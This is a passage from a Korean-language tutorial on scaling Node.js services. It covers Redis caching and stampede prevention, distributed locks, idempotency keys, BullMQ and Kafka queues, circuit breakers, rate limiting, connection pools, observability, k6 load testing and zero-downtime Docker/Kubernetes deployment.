const p99 = h.percentile(99) / 1e6;
metrics.gauge("event_loop_delay_p99_ms", p99);
if (p99 > 100) logger.warn({ p99 }, "이벤트 루프 지연 경고");
h.reset();
}, 10_000);
// 기준: p99 < 10ms 정상 · > 50ms 조사 · > 200ms 사용자 체감
증상 → 범인
| 증상 | 의심할 것 |
|---|---|
| CPU 100% · 루프 지연 큼 | 동기 코드 — JSON 파싱·정규식·암호화·큰 배열 |
| CPU 낮은데 응답 느림 | 대기 — DB·외부 API·커넥션 풀 고갈 |
| 메모리가 계속 증가 | 캐시 무한 증가·리스너 누수 (🧬 d04) |
| 간헐적 502 | keepAliveTimeout < LB 타임아웃 (🟩 n06) |
| 배포 직후만 느림 | 캐시가 비어 있음 — 워밍업 필요 (k04) |
| 특정 시간대만 느림 | 배치·크론과 겹침 |
// 메인 스레드를 막는 대표적 코드
JSON.parse(hugeString) // 10MB → 수백 ms
crypto.pbkdf2Sync(...) // 동기 암호화
fs.readFileSync(...) // 동기 파일
hugeArray.sort() // 100만 건 정렬
/(a+)+$/.test(userInput) // ★ ReDoS — 정규식 폭발
new Array(1e7).fill(0).map(...) // 큰 배열 변형
// 해법
// · 워커로 넘기기 (🟩 Node n09)
// · 스트리밍 파서 사용
// · 청크로 나누고 setImmediate 로 양보
// · 애초에 그 작업을 서버에서 하지 않기 (S3 · 별도 서비스)
캐시 전략 · Redis
가장 저렴하고 효과가 큰 수단. 대신 정합성을 내줍니다.
기본 패턴 — Cache Aside
import { Redis } from "ioredis";
const redis = new Redis(env.REDIS_URL, {
maxRetriesPerRequest: 3,
enableReadyCheck: true,
// ★ Redis 가 죽어도 서비스는 살아야 합니다
reconnectOnError: (err) => err.message.includes("READONLY"),
});
async function getProduct(id: number): Promise<Product | null> {
const key = `product:${id}`;
try {
const hit = await redis.get(key);
if (hit) return JSON.parse(hit);
} catch (e) {
logger.warn({ e }, "캐시 조회 실패 — DB 로 우회"); // ★ 캐시 장애가 서비스 장애가 되면 안 됩니다
}
const product = await db.product.findUnique({ where: { id } });
if (!product) return null;
// ★ TTL 에 랜덤을 섞습니다 (k04 스탬피드 방지)
const ttl = 300 + Math.floor(Math.random() * 60);
redis.setex(key, ttl, JSON.stringify(product)).catch(() => {});
return product;
}
// 갱신할 때는 "고치지 말고 지우세요"
async function updateProduct(id: number, dto: UpdateDto) {
const updated = await db.product.update({ where: { id }, data: dto });
await redis.del(`product:${id}`); // ★ set 이 아니라 del
return updated;
}
Redis 자료구조 고르기
| 타입 | 용도 |
|---|---|
| String | 캐시 값, 카운터(INCR), 분산 락 |
| Hash | 객체의 일부 필드만 갱신 — 세션 |
| Sorted Set | 랭킹·대기열·시간순 큐 |
| Set | 중복 제거, 태그, 오늘 방문자 |
| Bitmap | 출석·활성 사용자 — 100만 명에 125KB |
| HyperLogLog | 순 방문자 근사 — 12KB 고정 |
| Stream | 가벼운 이벤트 큐 (컨슈머 그룹 지원) |
// 실시간 랭킹
await redis.zincrby("rank:20260804", 1, `product:${id}`);
const top = await redis.zrevrange("rank:20260804", 0, 9, "WITHSCORES");
// 순 방문자 (100만 명이어도 12KB)
await redis.pfadd("uv:20260804", String(userId));
const uv = await redis.pfcount("uv:20260804");
// ★ N번 호출하지 말고 파이프라인으로
const pipe = redis.pipeline();
ids.forEach(id => pipe.get(`product:${id}`));
const results = await pipe.exec();
KEYS * · FLUSHALL · 큰 HGETALL.
Redis 는 싱글 스레드라 한 명령이 오래 걸리면
모든 요청이 그동안 멈춥니다.
훑기는 SCAN, 대량 삭제는 UNLINK 로.
캐시가 서비스를 죽일 때
캐시 때문에 생긴 장애는 캐시가 없었을 때보다 큽니다.
① 캐시 스탬피드
인기 상품 캐시가 만료되는 그 순간
→ 동시에 들어온 요청 3,000개가 전부 MISS
→ 3,000개가 같은 DB 쿼리를 동시에 실행
→ DB CPU 100% → 커넥션 고갈 → 전 서비스 마비
막는 법 세 가지
① TTL 에 랜덤 섞기 (가장 쉽고 효과 큼)
② 재계산은 한 명만 (분산 락)
③ 만료 전에 미리 갱신 (백그라운드 리프레시)
// ② 락으로 한 명만 DB 에 보내기
async function getWithLock(id: number) {
const key = `product:${id}`;
const cached = await redis.get(key);
if (cached) return JSON.parse(cached);
const lockKey = `lock:${key}`;
const got = await redis.set(lockKey, "1", "EX", 5, "NX");
if (got) {
try {
const data = await db.product.findUnique({ where: { id } });
// ★ SETEX 는 정수 초만 받습니다 — 소수면 "value is not an integer" 에러
await redis.setex(key, 300 + Math.floor(Math.random() * 60), JSON.stringify(data));
return data;
} finally { await redis.del(lockKey); }
}
// 락을 못 얻은 요청은 짧게 기다렸다 캐시를 다시 봅니다
await new Promise(r => setTimeout(r, 50));
const retry = await redis.get(key);
return retry ? JSON.parse(retry) : db.product.findUnique({ where: { id } });
}
② 캐시 관통 · ③ 핫키
// ② 존재하지 않는 id 를 계속 조회 (봇·버그·공격)
// → "없음"도 캐시합니다
const cached = await redis.get(key);
if (cached === "__NULL__") return null;
if (cached) return JSON.parse(cached);
const data = await db.product.findUnique({ where: { id } });
if (!data) {
await redis.setex(key, 30, "__NULL__"); // 짧은 TTL
return null;
}
// ③ 핫키 — 특정 키에 요청이 몰려 Redis 노드 하나가 터짐
// → 로컬 캐시를 한 겹 더 (2단 캐시)
import { LRUCache } from "lru-cache";
const local = new LRUCache<string, Product>({
max: 1000,
ttl: 5_000, // ★ 아주 짧게 — 정합성 손실 최소화
});
async function get2Tier(id: number) {
const key = `product:${id}`;
const l1 = local.get(key);
if (l1) return l1; // 왕복 0회
const l2 = await redis.get(key);
if (l2) { const v = JSON.parse(l2); local.set(key, v); return v; }
const data = await db.product.findUnique({ where: { id } });
local.set(key, data);
await redis.setex(key, 300, JSON.stringify(data));
return data;
}
동시성 · 분산 락
서버가 여러 대가 되는 순간 메모리 락은 아무 의미가 없습니다.
재고가 마이너스가 되는 이유
재고 1개 · 동시에 100명이 주문
서버A: SELECT 재고 → 1
서버B: SELECT 재고 → 1 ← 아직 아무도 안 줄임
서버A: 1 > 0 → 주문 생성, UPDATE 재고 = 0
서버B: 1 > 0 → 주문 생성, UPDATE 재고 = 0
→ 1개를 2명에게 판매, 100명이면 재고 -37 같은 숫자가 남습니다
★ Node 는 싱글 스레드지만 await 사이에 다른 요청이 끼어듭니다.
"한 프로세스 안에서도" 이 문제가 생깁니다.
해법 1 — 락 없이 (가장 먼저 검토)
// ★ 조건을 UPDATE 문 안으로 밀어 넣습니다
const r = await prisma.stock.updateMany({
where: { productId, quantity: { gte: qty } }, // 조건
data: { quantity: { decrement: qty } },
});
if (r.count === 0) throw new OutOfStockError(productId);
// Redis 원자 연산 — 선착순 쿠폰에 잘 맞습니다
const left = await redis.decrby(`stock:${productId}`, qty);
if (left < 0) {
await redis.incrby(`stock:${productId}`, qty); // 되돌리기
throw new OutOfStockError(productId);
}
해법 2 — 분산 락 (Redlock)
npm i redlock 또는 ioredis + Lua// 직접 만들 때 빠뜨리기 쉬운 것들
// ① TTL (프로세스가 죽으면 락이 영원히 남음)
// ② 소유자 확인 (남의 락을 지우면 안 됨)
// ③ 작업이 TTL 보다 길어질 때의 연장
const token = crypto.randomUUID();
// 획득 — NX(없을 때만) + PX(만료)
const ok = await redis.set(lockKey, token, "PX", 5000, "NX");
if (!ok) throw new BusyError("잠시 후 다시 시도해 주세요");
try {
await doWork();
} finally {
// ★ 해제는 반드시 Lua 로 (내 락인지 확인 후 삭제 — 원자적)
await redis.eval(`
if redis.call("get", KEYS[1]) == ARGV[1] then
return redis.call("del", KEYS[1])
else return 0 end
`, 1, lockKey, token);
}
// 라이브러리를 쓰는 편이 안전합니다
import Redlock from "redlock";
const redlock = new Redlock([redis], { retryCount: 3, retryDelay: 200 });
await redlock.using([`lock:stock:${productId}`], 5000, async (signal) => {
const stock = await getStock(productId);
if (stock < qty) throw new OutOfStockError(productId);
await decreaseStock(productId, qty);
if (signal.aborted) throw signal.error; // ★ 락이 만료됐는지 확인
});
멱등성 — 두 번 눌러도 한 번만
대규모에서는 같은 요청이 두 번 오는 게 정상입니다.
중복은 왜 생기나
- 사용자가 결제 버튼을 두 번 눌렀다
- 응답이 늦어 클라이언트가 재시도했다 (서버는 이미 처리 완료)
- 로드밸런서·게이트웨이가 자동 재시도했다
- 큐 워커가 재시도로 같은 작업을 다시 받았다 (k07)
- 모바일 앱이 네트워크 복구 후 대기 큐를 전송했다 (⚛️ RN r09)
// Idempotency-Key 패턴 — 업계 표준 (Stripe·Toss 등)
app.post("/api/payments", async (req, res) => {
const key = req.header("Idempotency-Key");
if (!key) throw new ValidationError("Idempotency-Key 헤더가 필요합니다");
const k = `idem:pay:${key}`;
const first = await redis.set(k, "PROCESSING", "EX", 86400, "NX");
if (!first) {
const saved = await redis.get(k);
if (saved === "PROCESSING")
return res.status(409).json({ code: "IN_PROGRESS" });
return res.json(JSON.parse(saved!)); // ★ 저장된 결과 재사용
}
try {
const result = await paymentService.pay(req.body);
await redis.setex(k, 86400, JSON.stringify(result));
res.json(result);
} catch (e) {
await redis.del(k); // ★ 실패는 지워 재시도 허용
throw e;
}
});
DB 제약을 최후 방어선으로
-- Redis 가 날아가도 중복이 막힙니다
create table payment (
id bigserial primary key,
idempotency_key varchar(64) unique not null, -- ★
order_id varchar(64) not null,
amount integer not null,
created_at timestamptz default now()
);
try {
await prisma.payment.create({ data: { idempotencyKey: key, ...dto } });
} catch (e) {
if (e.code === "P2002") { // 유니크 위반
return prisma.payment.findUnique({ where: { idempotencyKey: key } });
}
throw e;
}
더 나은 방법 — 애초에 멱등한 연산으로
비멱등
update account
set balance
= balance - 1000
where id = 7;
-- 두 번 오면 2,000원
멱등 (원장 기록)
insert into ledger
(tx_id, account_id, amount)
values ('tx-99', 7, -1000)
on conflict (tx_id)
do nothing;
-- 몇 번 와도 한 번
큐 — BullMQ · Kafka
오래 걸리는 일을 넘기면 응답은 빨라지고 장애는 안 번집니다.
동기 처리의 한계
[동기] 주문 API 하나에 전부 매달림
주문 저장 120ms + 쿠폰 80 + 포인트 90
+ 알림톡 300 + 정산 150 = 740ms
→ 알림톡 업체가 죽으면 "주문 자체가" 실패
[비동기] 이벤트를 던지고 끝
주문 저장 120ms + 큐 등록 3ms = 123ms
→ 알림톡이 죽어도 주문은 정상
→ 복구되면 밀린 것부터 처리
BullMQ — Node 진영의 표준
npm i bullmq (Redis 기반)import { Queue, Worker, QueueEvents } from "bullmq";
const connection = { url: env.REDIS_URL };
export const emailQueue = new Queue("email", {
connection,
defaultJobOptions: {
attempts: 3,
backoff: { type: "exponential", delay: 1000 }, // 재시도 1s → 2s (attempts 3 = 첫 시도 + 재시도 2번)
removeOnComplete: { age: 3600, count: 1000 }, // ★ 안 지우면 Redis 가 참
removeOnFail: { age: 86400 },
},
});
// 등록 — ★ jobId 로 중복 방지
await emailQueue.add("welcome", { userId },
{ jobId: `welcome:${userId}`, delay: 5000 });
// 처리
new Worker("email", async (job) => {
await job.updateProgress(50);
await mailer.send(job.data);
}, { connection, concurrency: 5, limiter: { max: 100, duration: 60_000 } });
언제 Kafka 인가
| 도구 | 적합한 상황 |
|---|---|
| BullMQ | 작업 큐 — 메일·이미지·리포트. 재시도·지연·우선순위·반복 작업이 필요할 때. 대부분 이걸로 충분 |
| Kafka | 이벤트 스트림 — 여러 서비스가 같은 이벤트를 각자 구독, 대용량 로그, 재처리가 필요할 때 |
| SQS · Pub/Sub | 관리형이 필요할 때 (운영 인력 절약) |
// Kafka (kafkajs)
import { Kafka } from "kafkajs";
const kafka = new Kafka({ clientId: "order-api", brokers: env.KAFKA_BROKERS.split(",") });
const producer = kafka.producer({ idempotent: true }); // ★ 중복 발행 방지
await producer.send({
topic: "order.created",
messages: [{ key: orderId, value: JSON.stringify(event) }],
// ★ 키가 같으면 같은 파티션 = 순서 보장
acks: -1, // 모든 복제본 확인
});
const consumer = kafka.consumer({ groupId: "point-service" });
await consumer.run({
eachMessage: async ({ message }) => {
const event = JSON.parse(message.value!.toString());
await pointService.give(event); // ★ 멱등해야 합니다 (k06)
},
});
· 실패한 작업(DLQ)에 알람 — 안 보면 없는 것과 같습니다
· 대기 작업 수(백로그)를 지표로 — 계속 늘면 워커가 부족한 것
· 완료된 작업을 주기적으로 삭제 — Redis 메모리가 찹니다
· 워커도 우아한 종료 필요 — 배포 중 작업이 유실됩니다
장애 격리 · 서킷 브레이커
대규모 장애는 대부분 작은 지연이 전체로 번져서 일어납니다.
장애 전파 시나리오
추천 서비스가 느려짐 (200ms → 10초)
→ 상품 API 의 fetch 가 10초씩 대기
→ 대기 중인 요청이 계속 쌓임 (메모리·소켓)
→ 커넥션 풀·파일 디스크립터 고갈
→ 추천과 무관한 "주문 API 까지" 실패
→ 사용자 재시도 → 부하 2배 → 완전 마비
핵심: 죽은 것은 추천 하나인데 서비스 전체가 멈췄다
막는 장치 — 이 순서로
| 장치 | 역할 |
|---|---|
| ① 타임아웃 | 가장 중요. 이것만 있어도 절반은 막힙니다 |
| ② 재시도 + 백오프 | 일시적 오류만. 지수 백오프 + 지터 필수 |
| ③ 서킷 브레이커 | 계속 실패하면 시도조차 안 함 |
| ④ 폴백 | 실패 시 대신 보여 줄 것 |
// ★ 타임아웃 없는 fetch 는 그 자체로 장애입니다
const res = await fetch(url, {
signal: AbortSignal.timeout(3000), // 전체 3초
});
// undici 로 더 세밀하게
import { request } from "undici";
await request(url, {
headersTimeout: 2000,
bodyTimeout: 5000,
});
재시도 — 잘못하면 불난 데 기름
// ❌ 나쁜 재시도 — 서버가 힘든데 3배로 때립니다
for (let i = 0; i < 3; i++) {
try { return await call(); } catch { /* 즉시 재시도 */ }
}
// ✅ 지수 백오프 + 지터
async function retry<T>(fn: () => Promise<T>, max = 3): Promise<T> {
let lastErr: unknown;
for (let i = 0; i < max; i++) {
try { return await fn(); }
catch (e) {
lastErr = e;
if (!isRetryable(e)) throw e; // ★ 4xx 는 재시도해도 소용없습니다
if (i === max - 1) break; // 마지막 시도 뒤에는 기다릴 필요 없음
const base = 200 * 2 ** i; // 200 → 400 → 800 …
const jitter = Math.random() * base; // ★ 지터 — 동시 재시도 방지
await new Promise(r => setTimeout(r, base + jitter));
}
}
throw lastErr;
}
const isRetryable = (e: any) =>
e.name === "TimeoutError" ||
["ECONNRESET", "ETIMEDOUT", "ECONNREFUSED"].includes(e.code) ||
[429, 502, 503, 504].includes(e.status);
서킷 브레이커
npm i opossumimport CircuitBreaker from "opossum";
const breaker = new CircuitBreaker(callRecommendApi, {
timeout: 2000,
errorThresholdPercentage: 50, // 50% 실패하면 OPEN
resetTimeout: 10_000, // 10초 뒤 반개방(HALF_OPEN)
volumeThreshold: 10, // 최소 10건은 모여야 판단
});
breaker.fallback(() => popularCache.get()); // ★ 빈 화면 대신 그럴듯한 것
breaker.on("open", () => logger.warn("추천 서비스 서킷 열림"));
breaker.on("halfOpen", () => logger.info("추천 서비스 탐색 중"));
const items = await breaker.fire(userId);
Rate Limit — 받을 만큼만
전부 받아 주다 다 같이 죽느니 일부를 거절하고 나머지를 살리는 편이 낫습니다.
알고리즘
| 방식 | 특징 |
|---|---|
| 고정 윈도우 | 단순. 경계에서 2배가 통과하는 결함 |
| 슬라이딩 윈도우 | 경계 문제 해결. 메모리를 조금 더 사용 |
| 토큰 버킷 | 여유분을 모아 뒀다 순간 폭주 허용. API 제한의 표준 |
| 리키 버킷 | 일정 속도로만 흘려보냄. 뒷단 보호에 좋음 |
// ★ 서버가 여러 대면 메모리 카운터는 무의미합니다 (10대 = 한도 10배)
import rateLimit, { ipKeyGenerator } from "express-rate-limit";
import RedisStore from "rate-limit-redis";
app.use("/api", rateLimit({
store: new RedisStore({ sendCommand: (...a) => redis.call(...a) }),
windowMs: 60_000,
limit: 100,
standardHeaders: "draft-8", // express-rate-limit v8 기준 (구형 클라이언트는 "draft-6")
// 로그인 전은 IP, 후는 사용자 — 키는 문자열이어야 하고,
// v8 은 req.ip 를 직접 쓰면 경고합니다 (IPv6 는 /64 단위로 묶어야 우회가 안 됨)
keyGenerator: (req) =>
req.user ? `user:${req.user.id}` : ipKeyGenerator(req.ip ?? ""),
handler: (req, res) => res.status(429)
.set("Retry-After", "10")
.json({ code: "TOO_MANY_REQUESTS" }),
}));
// 민감한 엔드포인트는 훨씬 빡빡하게
app.use("/auth/login", rateLimit({ windowMs: 900_000, limit: 5 }));
Redis + Lua — 원자적 토큰 버킷
// Lua 는 Redis 안에서 한 덩어리로 실행됩니다 (경쟁 조건 없음)
const LUA = `
local key = KEYS[1]
local capacity = tonumber(ARGV[1])
local rate = tonumber(ARGV[2])
local now = tonumber(ARGV[3])
local b = redis.call('HMGET', key, 'tokens', 'ts')
local tokens = tonumber(b[1]) or capacity
local ts = tonumber(b[2]) or now
tokens = math.min(capacity, tokens + (now - ts) * rate)
local allowed = tokens >= 1
if allowed then tokens = tokens - 1 end
redis.call('HMSET', key, 'tokens', tokens, 'ts', now)
redis.call('EXPIRE', key, 120)
return allowed and 1 or 0
`;
const allowed = await redis.eval(LUA, 1, `rate:${userId}`,
"60", "1", String(Date.now() / 1000));
대기열 — 티켓팅·선착순
1) 진입 시 Sorted Set 에 (사용자, 타임스탬프) 등록
2) 내 순번 = ZRANK → "앞에 12,043명" 안내
3) 서버는 "초당 N명"씩만 통과시켜 입장 토큰 발급
4) 토큰이 있는 요청만 실제 API 호출 가능
효과
· 뒷단은 항상 감당 가능한 만큼만 받는다
· 사용자는 "실패" 대신 "순번"을 본다 (체감이 완전히 다름)
Retry-After 를 주면 정상 클라이언트는 기다립니다.
아무 안내 없이 막으면 즉시 재시도해서 부하가 더 늘어납니다.
DB 확장 · 커넥션 풀
서버는 늘리기 쉽지만 DB 는 그렇지 않습니다.
커넥션 풀 — Node 의 진짜 한도
Node 는 스레드 제한이 없어서
"동시에 처리 중인 요청 수"에 상한이 없습니다.
→ 진짜 한도는 대부분 DB 커넥션 풀입니다.
계산
서버 10대 × 풀 크기 20 = 200 커넥션
PostgreSQL 기본 max_connections = 100
→ 절반이 연결 실패 ★
권장
· 풀 크기는 (vCPU × 2 + 디스크수) 근처에서 시작
· 서버 대수 × 풀 크기 < DB max_connections × 0.8
· 서버가 많으면 PgBouncer 같은 커넥션 풀러를 앞에
// Prisma
DATABASE_URL="postgresql://...?connection_limit=10&pool_timeout=10"
// pg (직접 사용)
const pool = new Pool({
max: 10,
idleTimeoutMillis: 30_000,
connectionTimeoutMillis: 3_000, // ★ 무한 대기 금지
statement_timeout: 10_000, // ★ 느린 쿼리 강제 종료
});
// 풀 상태를 지표로 노출하세요
setInterval(() => {
metrics.gauge("db_pool_idle", pool.idleCount);
metrics.gauge("db_pool_waiting", pool.waitingCount); // ★ 이게 쌓이면 부족
}, 10_000);
확장 순서 — 건너뛰지 마세요
1) 쿼리·인덱스 튜닝 ← 90% 는 여기서 끝 (무료)
2) 캐시 (k03~k04) ← 읽기 부하 제거
3) 커넥션 풀·인스턴스 사양
4) 읽기 복제본 ← 읽기가 많은 서비스의 정답
5) 수직 분할 (도메인별 DB)
6) 샤딩 ← 최후의 수단, 복잡도 폭발
// 읽기 복제본 — Prisma 확장
import { readReplicas } from "@prisma/extension-read-replicas";
const prisma = new PrismaClient().$extends(
readReplicas({ url: env.DATABASE_REPLICA_URL }),
);
await prisma.user.findMany(); // → 복제본
await prisma.$primary().user.findMany(); // → 프라이머리 강제
await prisma.user.create({ data }); // 쓰기는 항상 프라이머리
대용량 테이블 다루기
깊은 페이징
select * from orders
order by id desc
limit 20 offset 1000000;
-- 100만 건 세고 버림
커서 방식
select * from orders
where id < :lastId
order by id desc
limit 20;
-- 항상 같은 속도 ★
수평 확장 · 무상태
서버를 늘리려면 서버가 기억하는 게 없어야 합니다.
확장을 막는 것들
| 문제 | 해결 |
|---|---|
| 메모리 세션 | Redis 세션 스토어 또는 JWT |
| 메모리 캐시 | Redis (또는 짧은 TTL 로 감수) |
| 로컬 디스크 업로드 | S3 등 공용 스토리지 |
| 메모리 Rate Limit | Redis 스토어 (k09) |
setInterval 스케줄러 | 서버마다 실행됨 → 분산 락이나 전용 워커 |
| WebSocket 연결 | Redis 어댑터로 브로드캐스트 |
// ❌ 서버 3대면 크론이 3번 돕니다
cron.schedule("0 3 * * *", () => settleDaily());
// ✅ 방법 1 — 분산 락으로 한 대만
cron.schedule("0 3 * * *", async () => {
const got = await redis.set("cron:settle", "1", "EX", 3600, "NX");
if (!got) return; // 다른 서버가 이미 실행 중
await settleDaily();
});
// ✅ 방법 2 — 큐에 등록하고 워커가 처리 (권장)
cron.schedule("0 3 * * *", () =>
settleQueue.add("daily", { date: today() },
{ jobId: `daily:${today()}` })); // ★ jobId 로 중복 차단
// ✅ 방법 3 — K8s CronJob 으로 분리 (가장 깔끔)
세션과 WebSocket
// 세션을 Redis 로
import session from "express-session";
import { RedisStore } from "connect-redis";
app.use(session({
store: new RedisStore({ client: redis }),
secret: env.SESSION_SECRET,
resave: false, saveUninitialized: false,
cookie: { httpOnly: true, secure: true, sameSite: "lax", maxAge: 86400_000 },
}));
// Socket.IO — 서버 여러 대에서 브로드캐스트
import { createAdapter } from "@socket.io/redis-adapter";
const pub = new Redis(env.REDIS_URL);
const sub = pub.duplicate();
io.adapter(createAdapter(pub, sub));
// ★ 이게 없으면 A 서버 사용자와 B 서버 사용자가 서로 못 봅니다
스티키 세션은 해법이 아닙니다
"같은 사용자를 항상 같은 서버로" (sticky session)
· 그 서버가 죽으면 사용자 상태가 사라짐
· 부하가 고르게 분산되지 않음
· 배포 시 특정 서버만 몰림
· 오토스케일과 충돌
→ 임시 방편으로만 쓰고, 결국 상태를 밖으로 빼야 합니다.
관측 가능성 — 안 보이면 못 고친다
대규모에서 모니터링은 기능의 일부입니다. 나중에 붙이는 게 아닙니다.
세 기둥
| 종류 | 답해 주는 질문 · 도구 |
|---|---|
| 메트릭 | “지금 몇 RPS 이고 p99 는?” — prom-client → Prometheus → Grafana |
| 로그 | “그때 무슨 일이?” — pino → Loki / ELK |
| 추적 | “어느 서비스에서 느려졌나?” — OpenTelemetry → Jaeger / Tempo |
npm i prom-client @opentelemetry/auto-instrumentations-node pino// 메트릭
import client from "prom-client";
client.collectDefaultMetrics(); // CPU·메모리·이벤트 루프 자동 수집
const httpDuration = new client.Histogram({
name: "http_request_duration_seconds",
help: "요청 처리 시간",
labelNames: ["method", "route", "status"], // ★ 고유값을 라벨에 넣지 마세요
buckets: [0.01, 0.05, 0.1, 0.3, 1, 3],
});
app.use((req, res, next) => {
const end = httpDuration.startTimer();
res.on("finish", () =>
end({ method: req.method, route: req.route?.path ?? "unknown",
status: res.statusCode }));
next();
});
app.get("/metrics", async (_req, res) =>
res.set("Content-Type", client.register.contentType)
.end(await client.register.metrics()));
추적 — 로그를 하나로 꿰기
// instrumentation.ts — ★ 앱보다 먼저 로드되어야 합니다
import { NodeSDK } from "@opentelemetry/sdk-node";
import { getNodeAutoInstrumentations } from "@opentelemetry/auto-instrumentations-node";
new NodeSDK({
serviceName: "order-api",
instrumentations: [getNodeAutoInstrumentations()], // HTTP·DB·Redis 자동 계측
}).start();
// node --import ./instrumentation.js dist/index.js
// 로그에 추적 ID 붙이기 (🟩 Node n16)
import { trace } from "@opentelemetry/api";
const log = (obj: object, msg: string) => {
const span = trace.getActiveSpan()?.spanContext();
logger.info({ ...obj, traceId: span?.traceId, spanId: span?.spanId }, msg);
};
10:32:01.412 [order-api] INFO [a1b2c3d4] 주문 생성 12345
10:32:01.520 [point-api] INFO [a1b2c3d4] 포인트 적립
10:32:01.733 [pay-api] ERROR[a1b2c3d4] 결제 게이트웨이 타임아웃
→ traceId 하나로 여러 서비스의 로그를 한 줄로 잇습니다.
MSA 에서 이게 없으면 장애 분석이 사실상 불가능합니다.
알람은 “증상”에
| 알람 대상 | 기준 예 |
|---|---|
| p99 응답시간 | 5분 평균 > 1s |
| 5xx 비율 | > 1% |
| 이벤트 루프 지연 | p99 > 100ms |
| 큐 백로그 | 계속 증가 |
| DLQ 건수 | > 0 |
| DB 커넥션 대기 | > 0 지속 |
부하 테스트
“몇 명까지 버팁니까?”의 답은 재 봐야 나옵니다.
도구
| 도구 | 특징 |
|---|---|
| k6 | JS 로 시나리오 작성. CI 붙이기 좋음. 요즘 표준 |
| autocannon | Node 제작. 한 줄로 즉시 측정 — 개발 중 확인용 |
| Artillery | YAML 시나리오. Node 생태계 |
| nGrinder | 국산. 대기업 사내에서 자주 씁니다 |
# 빠른 확인
npx autocannon -c 100 -d 30 http://localhost:3000/api/products
# -c 동시 연결 · -d 시간(초)
// k6 — load-test.js
import http from "k6/http";
import { check, sleep } from "k6";
export const options = {
stages: [
{ duration: "2m", target: 100 }, // 서서히 증가
{ duration: "5m", target: 100 }, // 유지 ← 여기 지표가 진짜
{ duration: "2m", target: 500 }, // 스파이크
{ duration: "3m", target: 0 }, // 회복 확인
],
thresholds: {
http_req_duration: ["p(95)<500", "p(99)<1500"],
http_req_failed: ["rate<0.01"],
},
};
export default function () {
const res = http.get("https://api.example.com/products?page=1");
check(res, { "200": (r) => r.status === 200 });
sleep(1); // ★ 실제 사용자처럼 생각하는 시간
}
테스트하며 같이 볼 것
부하 생성기 쪽 서버 쪽 (동시에 봐야 의미 있음)
───────────────── ──────────────────────────────
RPS CPU · 메모리 · RSS
p95 · p99 ★ 이벤트 루프 지연
오류율 DB 커넥션 대기 수
DB CPU · 슬로우 쿼리
Redis 명령 지연
"어디가 먼저 100% 가 되는가" — 그게 병목입니다.
아무 데도 100% 가 아닌데 느리면 → 어딘가에서 '대기' 중
테스트 종류
| 종류 | 알아내는 것 |
|---|---|
| 부하(Load) | 예상 트래픽에서 정상인지 |
| 스트레스 | 어디서 무너지는지 |
| 스파이크 | 갑자기 10배가 오면 |
| 내구성(Soak) | 몇 시간 돌리면 — 메모리 누수 발견 ★ |
배포 — Docker · K8s
무중단으로 배포하려면 애플리케이션이 지켜야 할 약속이 있습니다.
Dockerfile — 실무 형태
# 1) 의존성 (레이어 캐시 최적화)
FROM node:24-alpine AS deps
WORKDIR /app
COPY package*.json ./
RUN npm ci
# 2) 빌드
FROM node:24-alpine AS build
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build
# 3) 운영 — 최소한만
FROM node:24-alpine
WORKDIR /app
ENV NODE_ENV=production
COPY package*.json ./
RUN npm ci --omit=dev && npm cache clean --force
COPY --from=build /app/dist ./dist
# ★ root 로 실행 금지 (Dockerfile 은 줄 끝 # 주석을 지원하지 않아 따로 한 줄로)
USER node
EXPOSE 3000
# ★ npm start 로 하면 SIGTERM 이 Node 까지 전달되지 않습니다
CMD ["node", "dist/index.js"]
memory.max 를 읽어
V8 기본 힙 크기를 컨테이너에 맞춰 잡습니다.
그래도 --max-old-space-size 를 컨테이너 메모리의 70~75% 로
직접 지정하는 이유는 —
① Buffer·네이티브 모듈·스레드 스택은 힙 밖이라 자동 산정값에도 여유가 없을 수 있고,
② 사이드카가 붙은 파드에서는 파드 전체 한도와 컨테이너 한도가 어긋나며,
③ 값을 못 박아야 OOMKilled(exit 137) 대신
V8 의 heap out of memory 스택을 로그로 받을 수 있기 때문입니다.
# 2GB 컨테이너 기준 (주석은 CMD 와 같은 줄에 두면 안 됩니다)
CMD ["node", "--max-old-space-size=1536", "dist/index.js"]
무중단 배포 — 끊기는 진짜 이유
파드 종료 시 실제로 일어나는 일
1. 종료 중으로 표시
2. 서비스 엔드포인트에서 제거 ┐ 이 둘은 동시에
3. 컨테이너에 SIGTERM 전달 ┘ (순서 보장 없음)
→ 3번이 먼저 오면, 아직 라우팅되는 상태에서 종료가 시작
→ 그 사이 요청이 502 로 떨어집니다
해결: 종료 신호를 받고 몇 초 버틴 뒤 실제 종료
lifecycle:
preStop:
exec: { command: ["sh", "-c", "sleep 5"] } # ★ 제거를 기다림
terminationGracePeriodSeconds: 60
livenessProbe: # ★ 의존성 검사 넣지 말 것
httpGet: { path: /health/live, port: 3000 }
initialDelaySeconds: 10
readinessProbe: # ★ DB·Redis 는 여기서
httpGet: { path: /health/ready, port: 3000 }
periodSeconds: 5
strategy:
rollingUpdate: { maxSurge: 1, maxUnavailable: 0 } # 무중단
resources:
requests: { cpu: "250m", memory: "512Mi" }
limits: { cpu: "1", memory: "2Gi" }
// 애플리케이션 쪽 — 우아한 종료 (🟩 Node n08)
process.on("SIGTERM", async () => {
server.close(); // 새 요청 차단
await new Promise(r => setTimeout(r, 5000)); // 진행 중 요청 완료
await worker.close(); // ★ 큐 워커도 정리
await prisma.$disconnect();
await redis.quit();
process.exit(0);
});
pm2 reload app 이 하나씩 순차 재시작합니다.
K8s 를 쓸 여건이 아니면 PM2 클러스터 모드가 현실적인 선택입니다.
전체 그림 · 체크리스트
지금까지의 조각을 한 장으로. 면접 답변과 설계 리뷰에 그대로 씁니다.
Node 기반 대규모 서비스의 표준 구성
[CDN] 정적 파일 · 이미지
│
[로드밸런서] TLS 종료 · 헬스체크
│
[API 게이트웨이] 인증 · Rate Limit · 라우팅
│
┌───────────────┼───────────────┐
[주문 API] [상품 API] [회원 API] ← 각각 여러 파드, 오토스케일
│ │ │
│ [Redis] 캐시 · 세션 · 분산락 · 큐(BullMQ)
│ │
[Primary DB] ──복제──→ [Read Replica ×N]
│
[워커 프로세스] 메일 · 이미지 · 정산 (API 와 분리 배포) ★
│
[Kafka] 주문 이벤트 → 검색색인 · 정산 · 분석
│
[관측] Prometheus + Grafana · Loki · Tempo
배포 전 체크리스트
- ☐ 모든 외부 호출에 타임아웃이 있는가
- ☐ 이벤트 루프 지연을 측정·알람하고 있는가
- ☐ 커넥션 풀 × 서버 대수가 DB 한도 안인가
- ☐ 캐시 TTL 에 랜덤을 섞었는가
- ☐ 재시도하는 API 가 멱등한가
- ☐ 재고·포인트 차감이 원자적인가
